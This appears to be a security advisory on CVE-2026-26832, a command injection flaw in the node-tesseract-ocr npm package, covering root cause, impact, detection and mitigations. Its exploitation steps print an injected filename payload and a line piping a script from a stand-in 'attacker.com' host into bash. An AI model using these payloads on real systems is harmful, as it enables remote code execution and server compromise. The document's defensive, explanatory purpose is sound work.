CVE-2026-26832: 
JavaScript vulnerability analysis and mitigation

CVE-2026-26832 is an OS Command Injection vulnerability in the node-tesseract-ocr npm package (a Node.js wrapper for Tesseract OCR) that allows unauthenticated remote attackers to execute arbitrary OS commands on the host system. All versions through 2.2.1 are affected, and no fixed version was available as of the disclosure date (March 24–25, 2026). The vulnerability was published on March 25, 2026, and carries a CVSS v3.1 base score of 9.8 (Critical) (PoC Advisory, Feedly).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In src/index.js, the recognize() function constructs a shell command by wrapping the user-supplied file path in double quotes and joining it with other arguments using Array.join(" "), then passing the resulting string directly to Node.js's child_process.exec(): const command = [binary, inputOption, "stdout", ...options].join(" "); exec(command, ...);. Because exec() invokes a shell to parse the command string, an attacker can break out of the double-quote context by injecting shell metacharacters (e.g., ") and append arbitrary commands. No authentication or special privileges are required — any code path that passes an attacker-controlled string to recognize() is exploitable (Source Code, PoC Advisory).

Successful exploitation grants an attacker arbitrary OS command execution on the server with the privileges of the Node.js process, resulting in full compromise of confidentiality, integrity, and availability. An attacker can read sensitive files, modify or delete data, establish persistence, install malware, or disrupt service availability. In environments where the Node.js process runs with elevated privileges or has access to internal network resources, lateral movement is also a realistic risk (Feedly, PoC Advisory).

A public proof-of-concept exploit was published on GitHub on March 25, 2026, demonstrating the injection via the crafted file path payload test.jpg"; touch /tmp/pwned; echo "x (PoC Advisory). No evidence of active in-the-wild exploitation or threat actor attribution has been reported as of the disclosure date. The EPSS score is approximately 0.0027 (0.27%), indicating low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Identify target applications: Search for Node.js web applications or services that use node-tesseract-ocr versions ≤ 2.2.1 and accept user-supplied file paths or filenames for OCR processing (e.g., document upload features).
2. Craft a malicious file path payload: Construct a filename that breaks out of the double-quote wrapping used in the shell command, such as: test.jpg"; <malicious_command>; echo "x — for example, test.jpg"; curl http://attacker.com/shell.sh | bash; echo "x.
3. Submit the payload: Supply the crafted filename as the image path parameter to any application endpoint that passes it to tesseract.recognize(). This could be via a file upload form, API request, or any other input vector that feeds into the function.
4. Trigger command execution: When the application calls recognize(maliciousPath, config), the constructed shell command becomes tesseract "test.jpg"; <malicious_command>; echo "x" stdout ..., which the shell parses and executes, running the injected command with the Node.js process's OS privileges.
5. Achieve objective: Depending on the injected command, the attacker can establish a reverse shell, exfiltrate data, create backdoor accounts, or perform further lateral movement within the network (PoC Advisory, Source Code).

• Logs: Application logs showing calls to recognize() with file path parameters containing shell metacharacters such as ", ;, |, &, $(), or backticks; Node.js error logs with unexpected shell command output or stderr from child_process.exec().
• Process: Unexpected child processes spawned by the Node.js process (e.g., bash, sh, curl, wget, python, nc) visible in process trees via tools like ps, auditd, or EDR telemetry.
• File System: Unexpected new files created in world-writable directories such as /tmp/ (e.g., /tmp/pwned); new cron jobs, SSH authorized keys, or scripts added by the Node.js process user account.
• Network: Outbound connections from the Node.js server process to unknown external IP addresses or domains, particularly on non-standard ports, which may indicate reverse shell or data exfiltration activity.
• File System: Web shells or backdoor scripts placed in the application's web root or accessible directories by the Node.js process (PoC Advisory).

No patched version of node-tesseract-ocr was available as of the disclosure date (March 24–25, 2026); users should monitor the npm package page and the GitHub repository for a fix. In the interim, the recommended mitigations are: (1) replace child_process.exec() with child_process.execFile() or child_process.spawn() with explicit argument arrays to avoid shell interpretation; (2) strictly validate and sanitize all file path inputs before passing them to recognize(), rejecting paths containing shell metacharacters; (3) run the Node.js process under a least-privilege OS account in an isolated environment (e.g., container) to limit blast radius; (4) consider migrating to an alternative OCR library that does not use shell command construction (PoC Advisory, Feedly).

The vulnerability received coverage from security news outlets including The Hacker Wire, which published an article on the critical OS command injection (The Hacker Wire). The advisory author noted the package has approximately 50,000 weekly downloads, highlighting the broad potential impact across the Node.js ecosystem (PoC Advisory). Social media discussion was observed on Mastodon and Bluesky, and the vulnerability was picked up by threat intelligence aggregators including Yazoul and Radar Offseq (Feedly).